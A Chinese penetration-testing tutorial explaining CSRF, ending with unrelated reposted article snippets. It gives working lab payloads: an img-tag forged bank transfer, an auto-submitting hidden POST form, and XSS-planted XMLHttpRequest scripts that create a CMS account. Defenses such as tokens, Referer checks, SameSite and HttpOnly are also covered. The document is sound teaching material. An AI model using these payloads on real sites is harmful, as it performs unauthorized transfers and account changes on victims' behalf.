跨站请求伪造(CSRF)

文章目录

  • 渗透测试漏洞原理
  • 跨站请求伪造(CSRF)
    • 1. CSRF概述
      • 1.1 基本概念
        • 1.1.1 关键点
        • 1.1.2 目标
      • 1.2 CSRF场景
        • 1.2.1 银行账户转账
        • 1.2.2 构造虚假网站
        • 1.2.3 场景建模
        • 1.2.4 实验
      • 1.3 CSRF类别
        • 1.3.1 POST方式
      • 1.4 CSRF验证
        • 1.4.1 CSRF Poc generator
      • 1.5 XSS与CSRF的区别
    • 2. CSRF攻防
      • 2.1 CSRF实战
        • 2.1.1 与XSS漏洞相结合
        • 2.1.2 实验
      • 2.2 CSRF防御
        • 2.2.1 无效防御
        • 2.2.2 有效防御
        • 2.2.3 HttpOnly实验

渗透测试漏洞原理

跨站请求伪造(CSRF)

1. CSRF概述

1.1 基本概念

​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Wb应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

​ 借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF攻击会危及整个Wb应用程序。

1.1.1 关键点

  • 受害者没有退出登录,受害者保持身份认证。
  • CSRF继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
  • CSRF会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP地址,Windows域凭据等。

1.1.2 目标

CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。

CSRF 的场景中,攻击者是没有办法获得服务器的响应。

1.2 CSRF场景

1.2.1 银行账户转账

搭建模拟银行网站 http://192.168.188.183/bank/ 。

image-20230828164204992

1.2.2 构造虚假网站

构造CSRF 攻击连接。

<meta charset='utf-8'>
<img src='./1.jpg'><br/> 
<img src='http://192.168.188.183/bank/action.php? username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手,谁与争锋'>
  • 攻击者通过 <img> 标签构造GET 请求。

  • 浏览器根据 <img> 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息。

1.2.3 场景建模

image-20230828202821723

1.2.4 实验

该银行场景一共四个用户。

image-20230828165205071

其中hacker是黑客,账户余额为0。

admin用户可以给其他用户转账,admin给hello用户转账100块

image-20230828165342175

hello用户账户增加100块。

image-20230828165413396

如果admin用户访问了黑客提供的网站。并且点击了第一个链接。

image-20230828165519024

admin就会向黑客用户转账100元。

image-20230828165638812

黑客用户原先的余额

image-20230828165728495

admin用户点击黑客提供的链接后的余额:

image-20230828165807234

查看页面的请求数据,数据提交是在路径中进行的

image-20230828151941927

黑客利用admin访问bank网站的cookie信息。当访问csrf网站的时候,csrf向bank发送请求,bank网站中存储着bank网站的cookie信息,那么在响应的时候,也会将cookie信息携带上。

这个就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

image-20230828151952832

1.3 CSRF类别

以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求,是不是就能够防御CSRF 漏洞了呢?

1.3.1 POST方式

<meta charset='utf-8'>
<form name='csrf' action='http://192.168.188.183/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'> 
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

这里第二个链接就是POST请求,admin用户点击第二个链接。

image-20230828172351802

image-20230828171234008

同样黑客用户的账户增加100块。

1.4 CSRF验证

bp中有一个Target功能模块,然后点击Site map ,会形成一个目录结构。

bp作为代理分析网站的时候,会自动检测安全风险,当前这里检测的只是一些非常初级的。

image-20230828210308909

右键目标主机,有两个功能选项:主动扫描主机,被动扫描主机。

image-20230828205734762

扫描到主机的风险列表:

image-20230828210703792

1.4.1 CSRF Poc generator

Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证。

这里以DVWA靶场为例,在CSRF这里,选择Low级别。

修改admin的密码为123456。

image-20230828173325130

抓包查看修改密码的数据包。

image-20230828173520970

然后使用bp来生成漏洞验证代码。右键点击点击Engagement tools选择Generate CSRF PoC

image-20230828173648419

将之前的123456密码修改为123.com,然后点击浏览器中测试。

image-20230828173853215

复制该URL地址

image-20230828173926926

在admin用户没有退出DVWA靶场的时候,访问了这个链接,点击提交请求。

image-20230828174031791

admin退出登录后以密码是123456来进行登录,发现登录失败。这个时候密码已经被修改为123.com了。

image-20230828174148933

通过bp验证存在CSRF漏洞。

1.5 XSS与CSRF的区别

攻击方式不同

  • XSS:XSS 攻击利用网页中存在的漏洞,注入恶意脚本代码,通过用户浏览器执行这些恶意脚本。攻击者可以窃取用户的敏感信息、劫持用户会话、修改网页内容等。
  • CSRF:CSRF 攻击则是利用用户的身份和权限发送未经授权的请求,通过伪装合法用户的请求来执行恶意操作。攻击者诱导用户访问恶意网站或点击恶意链接,在用户登录状态下发送伪造的请求。

攻击目标不同

  • XSS:XSS 攻击主要针对用户的浏览器,通过操纵网页内容来威胁用户的隐私和安全。
  • CSRF:CSRF 攻击主要针对受信任网站的用户,试图利用他们在目标网站上的身份和权限执行未经授权的操作。

攻击手段不同

  • XSS:XSS 攻击通过注入恶意脚本代码来实现,可以利用的漏洞包括反射型、存储型和 DOM 型 XSS。
  • CSRF:CSRF 攻击则依赖于目标网站的业务逻辑漏洞,攻击者构造伪造请求并诱使受害者执行。

防御策略不同

  • XSS:防御 XSS 攻击的主要方法包括对用户输入进行过滤和转义、使用 CSP(内容安全策略)限制脚本执行、设置 HttpOnly 标志等。
  • CSRF:防御 CSRF 攻击的主要方法包括使用 CSRF 令牌(加入一个随机生成的令牌,验证每个请求的合法性)、检查请求的来源 referer 头信息、使用 SameSite Cookie 属性等。

2. CSRF攻防

2.1 CSRF实战

2.1.1 与XSS漏洞相结合

首先确定目标网站存在XSS漏洞

攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

2.1.2 实验

修改密码这里是无法进行CSRF攻击的,因为这里攻击者在构造的时候需要输入原密码。

image-20230828190425315

我们需要在添加用户的功能模块下完成实验。

点击添加账号

image-20230828190636776

添加一个wuhu用户

image-20230828190743937

使用bp抓包,查看添加用户的请求

image-20230828190900206

POST /cms/admin/user.action.php HTTP/1.1
Host: 192.168.188.183
Content-Length: 107
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.188.183
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.188.183/cms/admin/user.add.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: username=admin; userid=1; PHPSESSID=a41pppsn1s0ven64a8smevjhsf; security=low
Connection: closeact=add&username=wuhu&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.188.183/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=wuhu&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

然后将wuhu用户删除了。

再将构造的攻击代码提交到cms网站的留言板模块

image-20230828191625232

提交成功

image-20230828191637598

管理员登录后进行留言管理,看到了我们刚才的留言,意味着触发攻击了。

image-20230828191735754

使用wuhu这个用户登录系统,密码123.com。

image-20230828193031708

登录成功!

2.2 CSRF防御

2.2.1 无效防御

  • 使用秘密的Cookie。
  • 仅接收POST请求
  • 多步交易:多步交易,有可能会被恶意攻击者预测。
  • URL重写:用户的身份信息会暴露在URL中,不建议通过引入另外一个漏洞来解决当前漏洞。
  • HTTPS:所有安全机制的前提。

2.2.2 有效防御

验证Referer字段:

  • 前URL的上一个URL。
  • 转账页面到转账操作。
  • 伪造?

添加Token验证:

image-20230828195322677

  • 二次验证:在关键操作之前,再输入密码或者验证码。

  • HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。PHP: setcookie - Manual。

    image-20230828201700789

  • SameSite:Cookie 属性,浏览器自带的安全机制。

2.2.3 HttpOnly实验

验证:

创建一个function目录,在目录中创建一个setcookie.php文件。

image-20230828200317307

然后编写函数

<?phpsetcookie("username","wuhu",time()+3600,"","","",false);
?>

这里将httponly参数设置为false。

image-20230828200545372

在浏览器中进行页面访问,打开F12,输入如下命令:

alert(document.cookie);

image-20230828200658983

cookie信息成功弹出。

点击Application查看Cookie信息。

image-20230828200901920

将Cookie信息删除,再次输入命令。这次没有弹出Cookie信息。

image-20230828200953025

现在将httponly参数设置为true。

image-20230828201106728

点击Application查看Cookie信息,现在HttpOnly开启了,之前是没有开启的。

image-20230828201203465

再次输入alert(document.cookie);,发现弹框中没有任何信息。

image-20230828201336673

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/111753.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python爬虫(十六)_JSON模块与JsonPath

数据提取之JSON与JsonPATH JSON(JavaScript Object Notation)是一种轻量级的数据交换格式&#xff0c;它是的人们很容易的进行阅读和编写。同时也方便了机器进行解析和生成。适用于进行数据交互的场景&#xff0c;比如网站前台与后台之间的数据交互。 JSON和XML的比较可谓不相…

Day50|动态规划part11:188.买卖股票的最佳时机IV、123. 买卖股票的最佳时机III

188. 买卖股票的最佳时机IV leetcode链接&#xff1a;188 题「买卖股票的最佳时机 IVopen in new window」 视频链接&#xff1a;动态规划来决定最佳时机&#xff0c;至多可以买卖K次&#xff01;| LeetCode&#xff1a;188.买卖股票最佳时机4 给你一个整数数组 prices 和一…

用反射实现自定义Java对象转化为json工具类

传入一个object类型的对象获取该对象的class类getFields方法获取该类的所有属性对属性进行遍历&#xff0c;并且拼接成Json格式的字符串&#xff0c;注意&#xff1a;通过属性名来推断方法名获取Method实例通过invoke方法调用 public static String objectToJsonUtil(Object o…

线程安全-搞清synchronized的真面目

多线程编程中&#xff0c;最难的地方&#xff0c;也是最重要的一个地方&#xff0c;还是一个最容易出错的地方&#xff0c;更是一个特别爱考的地方&#xff0c;就是线程安全问题。 万恶之源&#xff0c;罪魁祸首&#xff0c;多线程的抢占式执行,带来的随机性. 如果没有多线程,此…

可拖动表格

支持行拖动&#xff0c;列拖动 插件&#xff1a;sortablejs UI: elementUI <template><div><hr style"margin: 30px 0;"><div><!-- 数据里面要有主键id&#xff0c; 否则拖拽异常 --><h2 style"margin-bottom: 30px&qu…

python遍历文件夹下的所有子文件夹,并将指定的文件复制到指定目录

python遍历文件夹下的所有子文件夹&#xff0c;并将指定的文件复制到指定目录 需求复制单个文件夹遍历所有子文件夹中的文件&#xff0c;并复制代码封装 需求 在1文件夹中有1&#xff0c;2两个文件夹 将这两个文件夹中的文件复制到 after_copy中 复制单个文件夹 # coding: ut…

【跨域异常】

想在前端使用vue获取后端接口的数据&#xff0c;但是报了跨域异常&#xff0c;如下图所示。 一种解决的方式是&#xff0c;在后端Controller接口上加上CrossOrigin&#xff0c;从后端解决跨域问题。 还要注意前端请求的url要加上协议&#xff0c;比如http://

Excel:通过Lookup函数提取指定文本关键词

函数公式&#xff1a;LOOKUP(9^9,FIND($G 2 : 2: 2:G 6 , C 2 ) , 6,C2), 6,C2),G 2 : 2: 2:G$6) 公式解释&#xff1a; lookup第一参数为9^9&#xff1a;代表的是一个极大值的数据&#xff0c;查询位置里面最接近这一个值的数据&#xff1b;lookup第二参数用find函数代替&am…

80. 删除有序数组中的重复项 II

【中等题】 题目&#xff1a; 给你一个有序数组 nums &#xff0c;请你 原地 删除重复出现的元素&#xff0c;使得出现次数超过两次的元素只出现两次 &#xff0c;返回删除后数组的新长度。 不要使用额外的数组空间&#xff0c;你必须在 原地 修改输入数组 并在使用 O(1) 额…

string类中的一些问题

前言&#xff1a;C中的string类是继承C语言的字符数组的字符串来实现的&#xff0c;其中包含许多C的字符串的相关知识的同时&#xff0c;也蕴含很多的类与对象的相关知识&#xff0c;在面试中&#xff0c;面试官总喜欢让学生自己来模拟实现string类&#xff0c;最主要是实现str…

RK3568 安卓源码编译

一.repo安卓编译工具 项目模块化/组件化之后各模块也作为独立的 Git 仓库从主项目里剥离了出去&#xff0c;各模块各自管理自己的版本。Android源码引用了很多开源项目&#xff0c;每一个子项目都是一个Git仓库&#xff0c;每个Git仓库都有很多分支版本&#xff0c;为了方便统…

request+python操作文件导入

业务场景&#xff1a; 通常我们需要上传文件或者导入文件如何操作呢&#xff1f; 首先通过f12或者通过抓包查到请求接口的参数&#xff0c;例如&#xff1a; 图中标注的就是我们需要的参数&#xff0c;其中 name是参数名&#xff0c;filename是文件名&#xff0c;Content-Type是…

微信小程序开发教学系列(4)- 数据绑定与事件处理

4. 数据绑定与事件处理 在微信小程序中&#xff0c;数据绑定和事件处理是非常重要的部分。数据绑定可以将数据和页面元素进行关联&#xff0c;实现数据的动态渲染&#xff1b;事件处理则是响应用户的操作&#xff0c;实现交互功能。本章节将详细介绍数据绑定和事件处理的基本原…

【C++】C++11的新特性(上)

引入 C11作为C标准的一个重要版本&#xff0c;引入了许多令人振奋的新特性&#xff0c;极大地丰富了这门编程语言的功能和表达能力。本章将为您介绍C11的一些主要变化和改进&#xff0c;为接下来的章节铺垫。 文章目录 引入 一、列表初始化 1、1 {} 初始化 1、2 std::initiali…

RISC-V IOPMP实际用例-Rapid-k模型在NVIDIA上的应用

安全之安全(security)博客目录导读 2023 RISC-V中国峰会 安全相关议题汇总 说明&#xff1a;本文参考RISC-V 2023中国峰会如下议题&#xff0c;版权归原作者所有。

C语言:指针数组

一、指针数组介绍 指针数组本质是数组&#xff0c;是一个存放指针的数组 代码如下&#xff1a; arr1和arr2就是指针数组 int main() {int a 1; int *pa &a;int b 2; int *pb &b;int c 3; int *pc &c;int d 4; int *pd &d;int e 5; int *pe &e;in…

websocket和uni-app里使用websocket

一、HTTP是无状态协议 特点&#xff1a; 1、浏览器发送请求时&#xff0c;浏览器和服务器会建立一个连接。完成请求和响应。在http1.0之前&#xff0c;每次请求响应完毕后&#xff0c;会立即断开连接。在http1.1之后&#xff0c;当前网页的所有请求响应完毕后&#xff0c;才断…

ZLMediaKit 各种推拉流

1 用ffmpeg 推音视频流 ./ffmpeg -f dshow -i video"HP Wide Vision HD Camera" -f dshow -i audio"麦克风阵列 (Realtek High Definition Audio)" -rtbufsize 100M -max_delay 100 -pix_fmt yuv420p -tune zerolatency -c:v libx264 -crf 18 -s 1280x720…

如何使用敏捷开发方法管理项目

敏捷开发方法是一种灵活且高效的项目管理方法&#xff0c;旨在应对不断变化的需求和快速发展的项目环境。使用敏捷开发方法可以帮助团队更好地应对不确定性&#xff0c;提高项目的质量和效率。以下是使用敏捷开发方法管理项目的具体步骤&#xff1a; 明确项目目标和范围 在项…

科技资讯|苹果Vision Pro头显申请游戏手柄专利和商标

苹果集虚拟现实和增强现实于一体的头戴式设备 Vision Pro 推出一个月后&#xff0c;美国专利局公布了两项苹果公司申请的游戏手柄专利&#xff0c;其中一项的专利图如下图所示。据 PatentlyApple 报道&#xff0c;虽然专利本身并不能保证苹果公司会推出游戏手柄&#xff0c;但是…